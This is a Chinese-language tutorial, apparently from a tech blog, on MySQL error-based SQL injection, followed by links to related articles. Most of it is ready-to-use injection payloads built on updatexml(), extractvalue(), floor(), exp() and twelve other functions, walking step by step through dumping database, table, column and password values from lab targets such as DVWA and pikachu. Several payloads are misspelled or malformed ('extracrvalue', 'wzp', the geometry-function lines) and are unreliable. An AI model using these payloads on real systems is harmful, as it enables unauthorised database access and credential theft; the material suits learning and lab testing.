SQL注入报错注入函数图文详解

目录
  • 前言
  • 常用报错函数
  • 用法详解
    • updatexml()函数
    • 实例
    • extractvalue()函数
    • floor()函数
    • exp()函数
  • 12种报错注入函数
  • 总结

前言

报错注入的前提是当语句发生错误时,错误信息被输出到前端。其漏洞原因是由于开发人员在开发程序时使用了print_r (),mysql_error(),mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以通过闭合原先的语句,去执行后面的语句。

常用报错函数

updatexml()         是mysql对xml文档数据进行查询和修改的xpath函数
extractvalue()      是mysql对xml文档数据进行查询的xpath函数
floor()             mysql中用来取整的函数
exp()               此函数返回e(自然对数的底)指数X的幂值

用法详解

updatexml()函数

updatexml()函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值

语法:updatexml(xml_document,XPthstring,new_value)

第一个参数是字符串string(XML文档对象的名称)

第二个参数是指定字符串中的一个位置(Xpath格式的字符串)

第三个参数是将要替换成什么,string格式

Xpath定位必须是有效的,否则则会发生错误。我们就能利用这个特性爆出我们想要的数据

实例

注册就是往数据库里添加数据,insert。

在用户处输入单引号 报错

猜测后端语句

insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)

可以在xxx处对单引号闭合,爆出我们想要的数据

?id=1' or updatexml(0,concat(0x7e,select database()),1)'

闭合单引号使语句逃逸出来,之后重新构造语句查询,爆破出库名为:"pikachu"

分析过程

当输入payload

?id=1' or updatexml(0,concat(0x7e,select database()),1)or'

后端会被拼接为

insert into user(name,password,sex,phone,address1,address2) value('' or updatexml(1,concat(0x7e,database()),0) or '',

表名列名字段和正常查询一样只是换了个位置

利用过程

库名

1'and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

表名

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

查表信息(假定有一个users表,库名为dvwa

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #

查字段值(假设字段名为last_name(dvwa.users意思为调用dvwa库的users表)

1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #

extractvalue()函数

extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串

extractvalue (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc

第二个参数:XPath_string(Xpath格式的字符串),Xpath定位必须是有效的,否则会发生错误

构造payload

?id=1' or extracrvalue(0,concat(0x7e,database())) or '

注意xpath回显只有一位使用limit函数逐个爆,且最长为32位,超过32位爆不了

利用过程

当前库

1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #

当前表

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

表信息(假设表为users

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #

字段值(字段为user_id,first_name,last_name,(dvwa.users意思为调用dvwa库的users表)

1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #

floor()函数

floor()是mysql的一个取整函数

库名

id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #

表名(库为dvwa,通过修改 limit 0,1值递增查表, limit 1,1、limit 2,1

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

字段名(库:dvwa,表:users

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

字段值(字段值:user,password(dvwa.users意思为调用dvwa库users表

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

exp()函数

当传递一个大于709的值时,函数exp()就会引起一个溢出错误。

库名

id=1' or exp(~(SELECT * from(select database())a)) or '

表名(库名:pikachu

id=1' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '

字段名(表名:users

id=1' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

字段值(字段名:password,表名:users

id=1' or wzp(~(select * from(select password from users limit 0,1)a)) or '

12种报错注入函数

1、通过floor报错,注入语句如下:

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过extractvalue报错,注入语句如下:

and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3、通过updatexml报错,注入语句如下:

and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4、通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

5、通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过NAME_CONST报错,注入语句如下:

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);

7、通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );

总结

到此这篇关于SQL注入报错注入函数的文章就介绍到这了,更多相关SQL注入报错注入函数内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • SQL注入教程之报错注入

    目录 SQL报错注入概述 报错注入的前提条件 Xpath类型函数 extractvalue() updatexml() 其他函数 floor().rand().count().groupby联用 exp()(5.5.5<=MySQL数据库版本号<=5.5.49) MySQL数据库报错功能函数总汇 报错注入实例 extractvalue() 暴库 暴表 updatexml() 暴库 暴表 总结 SQL报错注入概述 通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名.版本号.用户名等)通

  • sql注入报错之注入原理实例解析

    目录 前言 0x01 0x02 0x03 总结 前言 我相信很多小伙伴在玩sql注入报错注入时都会有一个疑问,为什么这么写就会报错?曾经我去查询的时候,也没有找到满意的答案,时隔几个月终于找到搞清楚原理,特此记录,也希望后来的小伙伴能够少走弯路 0x01 我们先来看一看现象,我这里有一个users表,里面有五条数据: 然后用我们的报错语句查询一下: select count(*),(concat(floor(rand()*2),(select version())))x from users g

  • SQL注入报错注入函数图文详解

    目录 前言 常用报错函数 用法详解 updatexml()函数 实例 extractvalue()函数 floor()函数 exp()函数 12种报错注入函数 总结 前言 报错注入的前提是当语句发生错误时,错误信息被输出到前端.其漏洞原因是由于开发人员在开发程序时使用了print_r (),mysql_error(),mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以通过闭合原先的语句,去执行后面的语句. 常用报错函数 updatexml()        

  • SQL Server 2016 Alwayson新增功能图文详解

    概述 SQLServer2016发布版本到现在已有一年多的时间了,目前最新的稳定版本是SP1版本.接下来就开看看2016在Alwyson上做了哪些改进,记得之前我在写2014Alwayson的时候提到过几个需要改进的问题在2016上已经做了改进. 一.自动故障转移副本数量 在2016之前的版本自动故障转移副本最多只能配置2个副本,在2016上变成了3个. 说明:自动故障转移增加到三个副本影响并不是很大不是非常的重要,多增加一个故障转移副本也意味着你的作业也需要多维护一个副本.重要程度(一般).

  • @Transactional注解异常报错之多数据源详解

    目录 @Transactional注解报错之多数据源 1.在配置数据源的同时 2.一定要在需要使用事物注解的数据源配置里 @Transactional 错误使用的几种场景 @Transactional注解报错之多数据源 如果在加上@Transactional注解之后报错,先查看程序是否为多数据源,之前专门有一章讲解springboot的多数据源实现.多数据源的情况下加事物注解,有可能会出现问题,以下是解决方案. 1.在配置数据源的同时 一定到在其中一个配置上加上@Primary注解,其他的不要加

  • pytorch中的torch.nn.Conv2d()函数图文详解

    目录 一.官方文档介绍 二.torch.nn.Conv2d()函数详解 参数dilation——扩张卷积(也叫空洞卷积) 参数groups——分组卷积 总结 一.官方文档介绍 官网 nn.Conv2d:对由多个输入平面组成的输入信号进行二维卷积 二.torch.nn.Conv2d()函数详解 参数详解 torch.nn.Conv2d(in_channels, out_channels, kernel_size, stride=1, padding=0, dilation=1, groups=1,

  • Python groupby函数图文详解

    一.分组原理 核心: 1.不论分组键是数组.列表.字典.Series.函数,只要其与待分组变量的轴长度一致都可以传入groupby进行分组. 2.默认axis=0按行分组,可指定axis=1对列分组. groupby()语法格式 DataFrame.groupby(by=None, axis=0, level=None, as_index=True, group_keys=True, squeeze=False, observed=False, **kwargs) groupby原理 group

  • MYSQL updatexml()函数报错注入解析

    首先了解下updatexml()函数 UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程. 第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值 改变XML_document中符合X

  • Web安全解析报错注入攻击原理

    目录 1.报错注入攻击 2.报错注入代码分析 1.报错注入攻击 报错注入攻击的测试地址:http://127.0.0.1/sqli/error.php?username=1. 访问该网址时,页面返回ok,如图28所示. 图28 访问username=1时页面的的结果 访问http://127.0.0.1/sqli/error.php?username=1',因为参数username的值是1',在数据库中执行SQL时,会因为多了一个单引号而报错,输出到页面的结果如图29所示. 图29 访问user

  • SQL注入的实现以及防范示例详解

    什么是SQL注入 SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作. Sql 注入产生原因 我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句.如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统. 登录案例讲解 select * from admin where uname='用户名' and pwd='密码' 输入 'or 1=1 #(–空格或–+或#:注

随机推荐